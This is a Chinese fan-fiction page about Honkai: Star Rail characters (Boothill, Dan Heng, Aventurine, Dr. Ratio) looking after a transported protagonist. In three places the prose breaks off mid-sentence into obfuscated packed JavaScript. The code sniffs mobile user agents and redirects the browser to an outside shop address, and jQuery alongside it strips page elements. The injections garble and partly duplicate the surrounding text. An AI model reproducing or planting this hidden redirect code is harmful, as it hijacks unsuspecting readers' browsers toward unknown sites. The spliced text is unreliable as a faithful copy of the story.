波提欧浅浅“哎”了一声,最终还是没把手指抽出来。 这感觉十分奇妙。波提欧垂眼,目光落在自己的手上: 他如今的这副身躯为巡猎而生,这一点与他手中的武器几乎相同,是冰冷的,危险的。金属的导热性能极好,与不同的温度相贴,难免会沾染上不同的温度。太阳照在他身上,会让他也变得灼热,过多的热量压在武器中,让钢铁也被烧红。 唯独此时不同,与他原本该有的凉意相纠缠的,是人类的体温,你的体温。这体温并不高,完全无法同其他鲜明的热意相比,只在被你握住许久之后,才顺着他的指尖,给他传递那么一丝丝的温暖——只这么一点点的温暖,轻飘飘的,像是幻觉。 也就是在这个时候,巡海游侠展示出惊人的耐性,直到达成他原有的目标,把那枚红色的小鲨鱼放进你的手心。 波提欧缓缓退开,他似乎迟疑了片刻,终于又倾着身子,隔空向你伸出手来。他的手指微微弯曲着,带着点试探的意思。如果你醒着,如果你旁观了这一幕,定然可以看懂:波提欧这副姿态,像极了你见到什么极为可爱的小动物,想要摸头来表示喜爱,但又迟疑着不知该不该这么做。 ——你毕竟不是什么小动物。牛仔的机械手指弯了又弯,却始终停在你的鬓发上空,那一个材质冰冷坚硬却应该异常温柔的动作,始终没有落在你的头上来。 说来也怪。遇见的时候你们明明并不相识,波提欧留神提防你,却能背着你狂奔。他在夜色中抱起你,一路抱上了列车,也从不觉得有什么不妥。偏偏是在这个时候,在与你分离之前,惯来无拘无束的巡海游侠,卡在了这么一个最普通也最友好的动作上。 智库诵读已经停止了。丹恒安静地看着这一幕,他对你们的认知又翻新了一回:公司会将你定义为人质,那是劫持与被劫持的关系,丹恒看你们的相处模式,又觉得你们像是相熟的旧友。 竟然是真的,丹恒在心底重复,你与波提欧竟然真的是初相识。 列车上的伙食很好。 你蹭地站起身来,飞速跑走,丹恒正要一探究竟,就见你端着第二碗饭回来了。 那没事了,丹恒重新把目光落到自己的饮品上,假装他的注意力之前也不在你身上。 “临时乘客,列车上的饭好吃吗?”帕姆哼着歌,在你面前停下。你连连点头,于是帕姆晃了晃耳朵,那张可爱的小脸上露出了堪称慈爱的表情——也不知道帕姆是怎么做到的。 “你的碗不大,多吃几碗也是人之常情帕。”帕姆极为认真地叮嘱你,“千万不要让自己饿肚子!” “所以如果我真的盛了第三碗……”你有些迟疑地掂着碗。碗是巴掌大的碗,又因为不是围在桌边一起吃菜,你的饭碗里一半盛着菜,主食其实并不多。这样看来你也算在异世界吃上法餐了——传闻法餐的精髓就是量少。食物足够少,就会显得极为精致和美味。 “仙舟有一句话叫‘能吃是福’。总之,不管临时乘客要吃多少,列车总会让你吃饱的帕。”帕姆拍着胸膛向你保证。 “旅途的辛苦会让许多人失去胃口。列车上的饮食与其他星球有差距,你能喜欢列车上的食物,帕姆很高兴。”姬子端着咖啡杯,朝你微微一笑。 姬子优雅又美丽,而且她正在关心你!你一脸感动,小心翼翼地抬头看了一眼天花板,随即长舒一口气——什么都没有砸下来真是太好了,你这就向姬子道谢! 丹恒随着你的目光看了一眼天花板,天花板上什么都没有,他在心里缓缓打了一个问号,开始更加频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496674|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 繁地观察你:几乎万事万物都可以被了解,智库就是最好的例子。 丹恒责任心强,你是他自己接回列车上的,如今波提欧不在,丹恒自然揽过了照顾你的责任。列车上几乎什么都不缺,需要丹恒做的事其实并不多,他只在暗中观察你的情绪,看看自己能做点什么。 机会是留给有准备的人的。丹恒准备帮助你,所以他获得了帮助你的机会——由你本人亲自送给他。 列车在星海间穿梭,窗外总能看到繁星,时间的流逝并不明显,丹恒又看了一眼智库上的时间,终于开口问你:“列车给你安排了客房,为什么非要来资料室睡觉?” “主打一个陪伴失眠。”你回答得极为诚恳。丹恒恐怕是列车组里面最能熬夜的一个,如果一个人睡不着需要有一点陪伴感,找他准没错。 资料室显然有很多知识,在知识的熏陶下,你几乎又要恢复白天的睡眠水平。你靠着椅子打哈欠,几乎要忘记了这四舍五入就是丹恒的卧室,“你不是也在这里吗?” 你那就不是失眠,你那是睡够了。丹恒没打算大晚上跟你掰扯这个,他心平气和,“我睡在资料室。” “好地方!一听就……哈,很适合睡觉。”你又打了一个哈欠。 知识对于丹恒来说大概没有什么助眠的功效,经常对着智库熬大夜的人看了看你,又看了看智库的屏幕,罕见地又开始怀疑常识。不,不用细想,这是他几乎每天都在用的资料室,不是什么入梦池。 “在列车上,你不放心?”丹恒问。 “怎么会,列车可是很安全的……吧?”你的语气本来是极为笃定的,但不知道你想起了一些什么,在句末愣是拐了一个圈。 “还好帕姆没听见,帕姆听到了要伤心的。”丹恒突然笑了,他的声音很轻。 帕姆白日里接待了两三批访客,此时睡的正沉,就是你们再稍微大声一些,大概也不至于将帕姆吵醒,但丹恒说起悄悄话,你也就用了相似的音量。 “其实智库没你们想象的那么无聊。沿途所见所闻,都可以写进智库里,你如果有新鲜见闻,也可以记录下来。”丹恒说。 丹恒邀请你编写智库!你睁大眼睛,困意立刻散了一半,这可是那个智库——从丹恒对智库的关心程度来看,即使有人跟你说“丹恒其实是喜欢智库”也不奇怪,但是他居然邀请你编写智库耶! 你大为震撼并且努力思考起来:丹恒邀请你编写智库,这到底是为了你,还是为了智库。邀请你编写智库大概对智库没有什么好处,所以这一定是为了你吧。 好兄弟!你热泪盈眶同丹恒对视,一切尽在不言中。 丹恒完全没有接收到你的信号,他仔细观察了你一天,从波提欧在车上的时候,到波提欧下车。波提欧下车后你显然没有之前精神,虽然确实不哭不闹,饭也吃得不错,但就是有些拘束——列车对你来说毕竟是陌生的,而你唯一的熟人下了列车,又是在这里与你分别,丹恒觉得你喜欢待在资料室也不难理解。你喜欢的显然不是资料,资料室就是你熟悉的地方。 丹恒毕竟善良,他在意识到这一点的时候,最先想到的不是如何让你离开他的卧室,而是如何分散你的注意,好让你稍微缓和下来,缓和你因为陌生的环境而产生的戒备不安。但冷面小青龙酷了太久,就算有心找话题聊天,一时也不知道从何说起。 总之,丹恒开口,是他注意到了你的情绪变化,有心想要缓和。但结果和他想象中却有极大差异,虽然丹恒的原意就是增进了解、拉近距离,但是这效果是不是有点太猛了?你在一瞬间的诧异后产生了极大的情绪变化,眼神一瞬间有了些水光——现在是深夜,人多愁善感一些也正常。 丹恒努力平复情绪,但这不影响他脑海中依旧响起了预警的铃声:你不会是要哭了吧? 丹恒的警戒并没有持续太久。 夜色已深,睡意很快笼罩了你,把丹恒从无措中解救出来,在丹恒真的开始慌乱之前,为他维持住了他的酷哥形象。 内敛有一个最大的优势:只要丹恒的心事和情绪活动不摆在脸上,就没有人知道他什么时候慌乱,什么时候在发呆。 你从前过的什么日子啊?丹恒在心里叹息。波提欧与你相识也没几天,他把你从公司带走,大概也并非你的本意,可知道了波提欧下车,你却开始有些无精打采。资料室大概给了你一些熟悉的感觉,你想要待在资料室,就这么喊醒你,要求你回屋休息,大概并不妥当。 但让你就这样睡下去显然也不是办法。好在丹恒还没有要入睡的意思,他给你披上一件衣服,又开始智库资料的录入。 丹恒在心里作出决定:晚些时候,如果你还没有醒来,还不愿意回客房睡觉的话,那他就把资料室的床让给你,给你另铺一床干净被褥,他自己抱着铺盖回房休息好了。 4. 教授为何保持沉默 “就是这里。”砂金点了一下屏幕,屏幕中的录像停在了某一帧: 巡海游侠背着你一路疾驰,向远方跑去,但波提欧红色的披风,连同他背上的你一起,都被雾一样的东西遮住了。 “教授,你就没有什么话想对我说吗?”砂金截下最后一张图片,他把那一段朦胧的雾气和你们一起圈了起来。 “说什么?”真理医生面不改色。他抱着手臂,坐在沙发上看着投屏。 有的人生下来就是演员。 砂金紧盯着拉帝奥,真理医生的脸上没有任何破绽,就算砂金明知道拉帝奥在装傻,也没能找到一点证据来。 现有的几段视频,砂金循环播放了几次,拉帝奥就看了几次: 从波提欧闯入,到你们在空中的惊险停留,再到波提欧背着你狂奔而去的背影。公司能拍到的应该只有这些,当时一片混乱,也不知是何人拍摄了这些,又是如何拍摄而成。 但砂金手里的录像却不止这些,人的能力毕竟有限,波提欧没能躲掉所有向你们而去的攻击,小巧的金属弹壳从四面八方飞向你们,但无一例外,全都陷入了不知何时而起的浓雾里——雾只有那么一小片,就贴在波提欧的身后,恰好遮住你。 雾本该是轻盈的、飘忽的,那片“雾”却是黏稠的、胶状的,那些金属飞了进去,没有穿透浓雾,也没有发出任何声响,甚至连落地的声音也没有。 “那就是公司的东西。这是我最新得到的录像,巡海游侠波提欧于昨日出没,对市场开拓部发起攻击。” 砂金指了指另一张图,地上躺着一些弹壳,“这位巡海游侠虽然厉害,但此前他被围攻的时候,还不能分心做到这样的事情——追击他的人没有给他预留补充弹壳的时间,这意味着在之前的战斗中,这位巡海游侠不仅要拦下这些小玩意,还要回收其中的百分之四十。” ——原来的波提欧几乎不可能做到这样的事,但他忽然做到了。 “市场开拓部雇了一大帮人,放话放得多豪迈啊,‘鲨鱼也要拔下几颗牙来’,结果呢,还不是大败而归,险些被鲨鱼咬上一口。教授,你说他们会不会追查这事儿,又会查到多少东西呢?”砂金拖长调子感慨。 “市场开拓部怎么说?”拉帝奥终于开口询问。 “巡海游侠增加了新的模块,具体的他们还在研究。还不错的答案,是吧?真希望那位机械牛仔足够神通广大,不然他们就要把视线挪到你那好学生身上去了。” ——人总是囿于常识,因此市场开拓部没能在第一时间猜到正确答案。也好在砂金所在的战略投资部与市场开拓部向来不和,此事涉及砂金,又不能对外声张,所以此前你面试中天上突然往下掉光锥的事情,市场开拓部并不知晓。 答案显然不是波提欧,砂金已经在拉帝奥的反应中求证了自己的答案——看了这样的影像,这位教授第一时间居然不是怒不可遏地找他算账。拉帝奥是很冷静没错,但在关于你的事上,拉帝奥表现得越冷静,就越是反常。 “将视线挪到她身上?荒谬。还不如直接说是我学生绑了巡海游侠。找借口找到姑娘身上,也真够有出息的。”拉帝奥冷笑一声。 这段表演同样毫无破绽。 砂金在心底感慨一番,然后由衷地赞叹,“我说教授,比起要求我当一个完美的偶像,你自己出道给她当偶像,说不定还更快一些。诶,你那是什么表情,我说的当然是实话,以你的实力,想必很快就能在演艺方面取得成就——呵,还不同我说实话吗,教授?这孩子身上的谜团,可比我想的要多。” 砂金惯会举一反三,他从浓雾与弹壳这两种异常里向前推,很快推出了第三种异常: 你与波提欧在空中那一番惊险刺激的互动,原本不该在空中完成。 当时空中也看不到什么明显的着力点,你们在下落,而波提欧在有限的、以秒计算的时间里,不但凭空完成了借力的动作把你稳稳背在背上,甚至还调整好了落地的姿势,就好像在空中的时候,波提欧凭白比别人多得了些空间和时间。 波提欧的异常明显,仔细看下来,你也一样——你下落的速度可谓极慢。在慢放了不知道多少倍的时间里,只要巡海游侠有这个能力,他就一定能把你接住。 巡海游侠接住了你。大概也正因为这一点,砂金没有以个人名义追加对波提欧的悬赏,也无意对提高波提欧的身价做出一份贡献。波提欧的身价是大涨了一截没错,但它其实还有上涨的空间。 砂金暗暗提着一口气,把别人选择花在悬赏上的钱砸进了录像里。悬赏什么时候追加都来得及。你身在何方、情况如何,这才是砂金现下最关心的事。 你没有出现在医疗机构,没有出现在旅店,也不在巡海游侠最近去过的星球。砂金准备的布置都没有用上,但这是好事,真正的巡海游侠不会伤及无辜,你若是受了伤,大概率能及时获得医疗。你没有出现,这大概率意味着你没有受伤。 这完全是一场无妄之灾。拉帝奥得知这消息的时候倒是异常平静,他平静到了极点,让砂金近乎有点担心他的精神状态了。 砂金没法跟拉帝奥教授交代,也没法跟你交代,他不得不在处理工作的同时开始查那位巡海游侠,对方的目标从始至终都相当明显——市场开拓部。 砂金本来就不喜欢市场开拓部,就这么几天的功夫,他在心里把市场开拓部骂了不知道有多少遍。 敌人的敌人是朋友,可是因为你,砂金还是记了波提欧一笔。退一万步来说,那位巡海游侠就不能体贴一点,在攻打市场开拓部的路上,顺便先把你送过来吗? 巡海游侠不让人省心,一声不吭的真理医生同样不让人省心。如果不是砂金具有实在良好的心理素质,他一定要咬着牙狠狠叹上一口气:他查这个事,难道不是为了你?拉帝奥真的以为他生性喜欢当侦探? 谈判,谈判。砂金按下性子,调整好表情。 聪明人装傻并不多见,特别是拉帝奥这样的聪明人。 “这可是独家资料。”砂金叩了叩桌子,提醒拉帝奥。 “……你买断了?”拉帝奥终于开口。 “目前是这样。阴差阳错,我得到了设备报废前最后的一段录像——之前甚至没有人看过它。这可是最关键的一段录像,教授,你知道的,我的运气向来不错。”砂金缓缓地笑了,“分享了这样的资料,换一点我应有的知情权,不过分吧?” 拉帝奥没有要开口的意思,真理医生此刻没有戴他的石膏头套,却沉默得像一尊雕塑,特别古典、文艺、俊美的那一种。 “当然,你也可以不告诉我。那我们就来赌一把,是谁先找到答案,是你的智慧,还是我的运气?”砂金轻声叹息,“但有一点我要提醒你,那位巡海游侠可和市场开拓部结了仇,你的学生又是从我们这边被抢走的,这么大的动静,这么特殊的身份,你猜市场开拓部会有多上心?如果是市场开拓部抢先知道了——和我不一样,那位市场开拓部的主管可不是什么好人。” 你们留下的纰漏实在是太多了,多到匹诺康尼的折纸小鸟也能看出不同寻常来,市场开拓部不是拉帝奥,不能指望他们视而不见。 “我们得合作,教授。”铺垫已经够多了,砂金这才直抒胸臆,“你未免也有点太轻视合作的力量了。我知道你宝贝你的学生,你不开口,大概也是因为她。你不开口,我可以查。你猜我查到她的信息需要多久?公司去查她的信息,又要多久?” 这样明显的异常,瞒不住的。 倘若你真有点什么,在校期间就该表现出来了。 你身上的秘密,连拉帝奥都没有完全知晓,他又怎么肯就这样告诉砂金呢。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496675|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但拉帝奥思忖片刻,终于还是开口答应了。 “告诉你也行。”拉帝奥缓缓开口,语调镇定,“她是我的学生,但不是别人熟悉的那一位。” “你是说,她其实是你在梦里教的学生?”砂金沉吟片刻,颇为含蓄地评价,“……你知道我已经过了听睡前故事的年龄了吧?” 拉帝奥冷笑。他就知道砂金不会信,不信就算了,他还非要问。 这故事确实有些离奇,似乎没有什么可信度,但拉帝奥的冷笑又很好地弥补了这一点。 “好了好了,我只是想确认一下。”砂金在回忆里翻翻捡捡。 ——并非毫无可能。你的事,从一开始他就想查了。按照流程,公司没有录用你,砂金又是将你当客人在招待,你的档案当然还躺在学校里,所以砂金只能拿到你的简历和在公司考试的相关信息。 公司招人不可谓不严格,你能一路杀进面试,自然也非等闲之辈,一是靠你出众的笔试成绩,二则是在测试中,你与这岗位的匹配程度极高。砂金仔细回忆了一番,那个位置要的并非是大胆率真、勇于开创的人,不如说完全相反,那个位置常与资料打交道,所以需要极为仔细、沉静、谨慎、安稳的那一种。 公司难进,辛辛苦苦到了面试,没有十足的把握,自然不会整什么花活。若不是你的表现实在过于跳跃和反常,按照常规流程,你不会被推到砂金眼前来。 ……这就说得通了。笔试录像砂金是看过的,录像中的你确实是个沉稳的性子,没有什么出格之处,和你在面试中的表现大不相同。他原本还诧异于你突然开始游戏人生,现在看来却并非如此:那不是你突然转变,你与从前,原来根本就是两个人。 “哈哈哈哈哈。”砂金忽然笑了,梦中人忽然与自己相遇,这事离奇,也难怪拉帝奥不肯开口。你对世界和你自己知道的都太少太少,怪不得拉帝奥急着把你保护起来。 如果你出格的表现没有引起面试官的注意,如果你不是被推送到砂金眼前,如果拉帝奥不是刚好在砂金办公室,又一眼认出了你…… 砂金不由得开始惊叹你的运气。 他没怎么见你中过彩票,饮料也几乎没见你开到“再来一瓶”,然而就是在这样一些关键的节点上,你一点错也没有出过。 “有意思。教授,她的档案还在学校里。公司如果真的开始查她,想必会像移栽植物一样,把所有资料连根挖起。你既然担心她,教授,不妨想办法把资料握在自己手里,这样如果对方走常规途径,你一定会第一时间知道。”砂金提出建议。 真理医生微微睁大眼睛,此前他从未考虑过让你升学的可能性——从前是不在你的人生规划中,如今则是你大概根本就没有学习深造的兴趣。拉帝奥的教学以严厉著称,结课率和就业率并不好看,但现在不是考虑这个的时候。 如果有什么正当渠道,能够把你的资料握在他手里,流程合规合法,几乎不会对你造成什么不良影响的话,那一定是让你升学,重新成为他的学生。现在,毕业该走的流程已经差不多了,档案也该流向市场,去哪里都完全是你的自由。 但如果,如果他主动提出要带学生,大概能临时拿到你的档案。拉帝奥一直担心有人查你,但让你升学,拉帝奥就能名正言顺地成为你的第一道防线,档案在他手里,如果有人要看,他第一时间就会知道。 没有任何一种师生关系能持续一辈子。真理医生是极为理性的人,这一点他当然知道。 倘你有能力处理这一切,真理医生自然不必忧心,只管放手让你高飞便是,但显然不是现在,也不该是现在。 “喂?对,是我,维里塔斯·拉帝奥……我申请抽调她的档案。是的,我要带学生。”拉帝奥通着电话,朝着砂金无声点头。 ——这是合作正式开始的标志。 5. 你在跟波提欧学什么啊 丹恒有些过于溺爱了。 你看着资料室的天花板想。 你身下,是丹恒的床——资料室的地板。地板终究是地板,就算铺了东西,睡起来也不会太多舒服,但毫无疑问,丹恒把自己的床让给了你。 为数不多的教育学知识在你脑海中打滚。有道是“慈母出败儿”,你斟酌了又斟酌,以你和丹恒现在的社交关系,突然让丹恒喜当男妈妈到底是突兀了一点。 这句话说不出口,别的话倒是可以,于是吃完早饭,你又满眼期待地看着丹恒。 丹恒已经完全受理了你在列车上的临时监护人一职,他完全明白你想给公司报平安的心情,但列车收到的请求并非源自公司,而是巡海游侠波提欧。 公司太过庞大,列车和战略投资部没有什么太过直接的交集,找人难免要困难许多,当然最大的问题是,你是由临时监护人波提欧请列车照顾的,看他本人的意思,似乎并不太想让你被公司接走。 “稍等一下。”丹恒一脸平静地朝你点头,转身去了最僻静、信号也最好的车厢。 “市场开拓部的总监?石心十人的联系方式?这种东西怎么可能像公司那群傻宝一样遍地都是?”波提欧不爽地啧了一声,“公司有什么好的?那群小可爱最会骗人——等等,她不在旁边吧?” “现在不在。”丹恒一脸平静,他自然听出了巡海游侠是想说一些过激的话语,“不过晚些时候就不能保证了。” 波提欧叹气,电话里传来一阵窸窸窣窣的声音,“带的东西越多越麻烦……行了,我随便抓一把,至于这帮傻宝手机里有什么,我就不能保证了。” 牛仔吹了一声口哨,轻松把追兵甩在身后,“行了,晚点见。哎,列车上能点喝的吗?上次那个就挺好的。” “上次那个?”丹恒还没问完,电话“嘟”地一声断了。 但愿帕姆能记得波提欧上次喝的是什么。丹恒默默去餐车拿了两个水果,朝着你的方向去了。 有时候很难搞懂丹恒的想法。你对着手里的水果眨眼,真想修正一下丹恒对你的看法:被丹恒投喂是很好没错,但你的需求也不只是吃啊?进食只是人最基础的需求,你也是有更高层级的要求的! 丹恒若有所思,他又出去一趟,捞了一只玩偶塞在你手里——帕姆玩偶。 平心而论,帕姆自然比毛绒绒的帕姆玩偶好摸,但列车长有列车长的尊严。人在列车上,你想了想列车的伙食供应和温暖的床铺,决定还是尊重和爱护帕姆,收回了几次悄悄伸出来想落在帕姆耳朵上的手。 帕姆做事认真,你的那番小动作,帕姆似乎从不知晓,依然很认真地将你当临时乘客爱护,偶尔你也会在帕姆正直认真又不失慈爱的目光里,感到一丝丝的愧疚。当然,你往往很快会在视觉里那丝滑的绒毛中原谅自己:帕姆看起来可爱又好摸,眼馋毛绒绒是人之常情,你不是第一位馋毛绒绒的人,也必定不是最后一位。 你闷闷不乐地抱着帕姆玩偶,试图让丹恒把你当成年人看待。小孩子才会因为好吃的和可爱玩偶满足,成年人想要更多,比如尊重、信赖、亲密、安全感。当然最重要的一点还是,帕姆不给摸耳朵,丹恒就不能给摸摸他头上的角吗? “怎么了?”丹恒看着你欲言又止的样子,开始关心你。 这是能说的吗?你在丹恒的角和怀里的帕姆玩偶之间纠结了一会儿,又想了一下惦记却摸不到的帕姆耳朵,决定退一步、再退一步,“啊哈哈哈哈,没什么。” 你抱紧了帕姆玩偶,有玩偶抱总比没玩偶抱要好。 丹恒点点头,他虽然不知道你为什么突然抱紧了玩偶,但看你还是一副“不乐”的样子,决定还是开口给你透点消息:“波提欧很快就到。” “真的啊?他在哪?能不能让他给我带苏乐达、快乐水,快餐棒、圣代、沙拉或者小蛋糕?”你两眼放光。 “你对我是不是有什么误解?”波提欧拉开门,“我和无名客可不一样。他们是座上宾,我是通缉犯,再说了,就算能大摇大摆逛商店,我也没那个兴致。” “让我送人上路的人我见得多了,想让我像你说的那样送饭,嘿,我还真第一次见。‘小可爱!这顿我请!’,这样你满意了吗?”波提欧递过来一盒饭。 “这是列车的午餐。”丹恒平静地指出事实,“列车长给了你两盒?一盒可能不够你吃。” “我又不靠这个维持能量。”波提欧摆摆手,他示意丹恒看你,“你瞧,她也没什么意见。” 讲真,你本来是有意见的,这完全不是你要的饭,可是波提欧叫你小可爱诶!你差点就直接开饭了。 但人贵在克制,于是你沉默,你欲言又止,你期待地看着波提欧。 波提欧叹气,他把很多手机塞到你手里,“你在等什么?公司那帮傻宝,你相信他们……哎,我真是不知道从哪里开始说。我先说好,你找的人是个高管,不一定就能——” “您好,波提欧先生,我能理解您对市场开拓部颇有微词……”对面的人浅浅吸了一口气,砂金似乎压抑着些什么情绪,拿起了他惯用的社交腔调。 波提欧诧异地低头,你手里的手机已经接通了。 你这是什么运气?钢铁牛仔波提欧用他酷炫自带瞄准的眼睛,缓缓用眼神打出一个问号。 哈哈哈哈,你当然没有这么厉害,这是砂金的本事。安保的事理论上不归战略投资部管辖,高管的联系方式不是人人都有,砂金应该也不是谁的电话都接。 所以你能这么快联系上砂金,百分百是他的确很想联系你。 心头闪过那么一丝丝的心虚,你的眼神却更亮了。 砂金什么场面没有见过?就算怒气槽满了,该说的社交辞令还是要说的。 金发的青年微微笑了,无论是笑声还是语言都如春光一般温柔,“非常感谢您对她的关照,不知您在何处下榻,我改日必登门拜谢。” 巡海游侠不稀罕这场春光。波提欧不为所动,钢铁般的男人冷静地分析起来——“关照”二字咬得极重,对方显然是不满他将人带走。 但不满意有什么用?别人一点不满意就要动摇的话,他还当什么巡海游侠? 何况波提欧最讨厌公司狗。 “得了,兄弟,别玩那些虚的。想知道我住哪里?这可不方便告诉你。但我可以告诉你的是,人我带走了,她好得很,不需要你们担心。” 波提欧本着某种实事求是的原则,专门停下来观察你,继续转述,“有吃有住有毛绒玩偶抱,一顿能吃两碗饭,你就别惦记了。” 你轻轻瞪了波提欧一眼。你吃两碗饭,那是因为列车上的碗小!再说了,零食和水果都装在碗里,那能算两碗饭吗?不能,波提欧百分百是在造谣你。 波提欧这会儿没接收到你的眼神,他似乎没理解你的控诉,但丹恒却懂了。 丹恒叹气,战术轻咳一声,试图提醒巡海游侠维护你的名誉。 “好了,没什么事就聊到这里吧。”波提欧即将按下挂断键,这个轻快的动作却被打断了。 “这样就结束了?你主动联系我们,难道是为了说这个吗?”那道声音略显冷淡,却莫名让你感受到家的温暖。拉帝奥毕竟是你来到这个世界以后第一个见到的人,大概正因如此,真理不悦的声音也让你感到亲切——拉帝奥他不高兴,拉帝奥心里有你! 维里塔斯·拉帝奥,以热心公益、给每一位玩家义务教学而出名,被大家尊称一声“义父”。但你现在身在此处,这声“义父”自然很难喊出口。 拉帝奥一向严苛著称,似乎罕有放松和快乐的时候。那双眼睛像豹子又像猫,有时候很锐利,有时候又有些懒洋洋的,配合上他本人恰到好处的冷笑,足够让学生和任何合作方感受到夏日的魅力——在阴雨与晴天来回横跳,和骤雨之前的压迫感。 但那也只是让别人情绪起伏。面对不同的人,应用不同的姿态,拉帝奥本人的情绪波动从来不大。 “我主动联系你们?”面对敌人,首先气势不能输,波提欧正打算毫不留情地嘲笑公司,手却被你拉着晃了一晃: 的确是你们主动联系的他们没错,虽然要联系公司的人是你,不是波提欧。 砂金缓缓用眼神打出一个问号,他在一旁的设备屏幕上敲出一行字,“教授,那位巡海游侠的脾气可不太好。” “我知道,我自然也不是说给他听的。波提欧不见得会主动联系我们。”拉帝奥声音很轻。 “呜呜呜,教授!”你热泪盈眶,饱含深情。受距离限制,他们隔着电话自然看不到你的样子,但大概能想的出来,应该是很可爱的。毛绒绒的碎发让你看上去软乎乎的,像什么很可爱的小动物。 石心十人自然也有喜欢可爱的小东西的,最明显的是天天溜扑满的托帕,很少有人知道砂金私底下也很喜欢。 听着你的声音,砂金想起了家里的猫糕。不,好像比猫糕还可爱一点,他的拇指在食指关节上摩了一下,但动作很小。他隐藏得很好,就算你与他面对面,大概也看不出来砂金刚刚是想摸摸你的头。 最大的不同是,猫糕不会喊他教授。砂金的“乐”还没有写在脸上,很快又被他收下去了,不乐的表情同样也不会写在砂金脸上,所以这点心理活动没有人知晓。 “嗯。”拉帝奥的表情有些松动,声音也软化了几分。 “我没事,教授。列车上吃得可好了,有吃有住,还有巡海游侠教我常识。”你说。 你一句话,三个人变了表情。 波提欧无语,丹恒无奈,你一开口就把自己的所在地点——列车给卖了。但他们受到的震撼都没有拉帝奥受到的震撼大。 “你再说一遍?”真理医生深吸一口气,努力心平气和地提醒你。放着正牌教授不要,“你给自己找了一个巡海游侠当老师?” 你的“真理医生语言及其行为学”只是堪堪入门,还不能从真理明显有差别对待的,对你格外温柔的声线里,觉察出真理的不快和异样。 如果你知道真理的真实想法,一定要尴尬笑笑,啊哈哈哈,真理医生是什么水平?真理医生的课程从难度上来讲,绝对不该被归类在义务教育里面,而显然是超越了大学本科难度的深入研究。 没有地基的建筑是空中花园!无论是为了你的心理健康,还是为了拉帝奥的心脏着想,找巡海游侠给你补常识绝对是有必要而且正确的! ——其实拉帝奥的心脏还挺好的,就是现在有点不妙。你是完全没有懂他的意思,拉帝奥只能含蓄地提醒你,“我的健康还不用你操心。什么时候回来?别耽误了报到。” “报什么到?”异世界的你显然已经要毕业了,又有什么要现在的你去报到的? “深造。”真理言简意赅。 “啊???” * 砂金合上手边的方案,叹了一口气。 “教授,这和说好的不一样。这场谈判是应该由我负责的吧?” ——砂金准备了至少二十种谈判方案,结果一种都没有排上用处。原定的计划堪称天衣无缝,但自从你说跟着巡海游侠学常识开始,事情发展的方向就完全变了,谈话的主导者完全变成了拉帝奥。 真理医生面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496676|202543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,眼睛里的锋芒逐渐亮了起来,似乎是要和人好好比试一场。 即使是在他最为擅长和关心的领域,他也不曾有过这样的气势和斗志。学者和智者要有自己的风范,什么问题值得大动干戈? 拉帝奥的理性几乎足以分析一切,这使他足够从容和游刃有余,以自己喜欢的姿态去应对一切。但在听到你另寻良师的那一刻起,那一份自在和慵懒仿佛都荡然无存。 拉帝奥卷了卷手边的本子,那是一本崭新的教案。类似的东西,他从前也做过不少,原先是打算选些简单有趣的,好讲给你听。但现在,按真理医生的斗志,一本薄薄的教案可能不够用了。 “……你还有一个暑假,足够你跟着巡海游侠先生出去旅游。”拉帝奥话锋一转,又换了个说话对象,“但如果到了报到的时候,我没有看到她准时去报到,那么就由我亲自去接人。” 辱骂公司,波提欧是专业的。在你的事上,无论公司开出什么样的条件,波提欧都没打算动摇。但这位巡海游侠向来尊重知识。 “你也没跟我说你是在读啊?好端端往公司跑什么?实习啊?”波提欧动了动嘴唇。 你都不知道你要深造,这事不能赖你。但你还是习惯性地退了一万步,用唇语回他,“那你也没问啊?” “他真是老师啊?”波提欧小声。 你点头,“他是教授,拉帝奥教授。” 于是巡海游侠哼笑一声作为回答。 列车那端的氛围陷入了可疑的沉默,拉帝奥却丝毫不慌,好像就算是在看不见的、电话的那一端,也完完全全是他的主场。 “都没有异议?那就这么决定了。期待您来开家长会,波提欧先生。”拉帝奥礼貌地挂断电话。 冲动是魔鬼。对于你和拉帝奥来说都是如此。丹恒不说话,他眼神极为复杂地摸了摸你的头,被波提欧瞪了一眼。 牛仔认真地注视着你,“你就那么喜欢他们那个公司?” 那倒也不是。“一时嘴快,一时嘴快。我只是想报个平安,没想那么多。”你挠头,“再说了,只是列车。” “这天地间还有哪个列车?”波提欧叹气,你的常识可能的确要好好补补。 “那也没什么。她应该能为自己做主。她想下车,没有人可以拦她。她不想下车,也没有人能让她下车。”丹恒抱着手臂——他在立绘里抱着长枪“击云”的时候就是这个姿势。 丹恒的语气平静地像是在说“今天天气真好”,但这话实在太帅了,丹恒今天两米一! 你意念仰视丹恒。丹恒被你热情的眼神看得有些不自在,他转身去帮帕姆扫地去了。 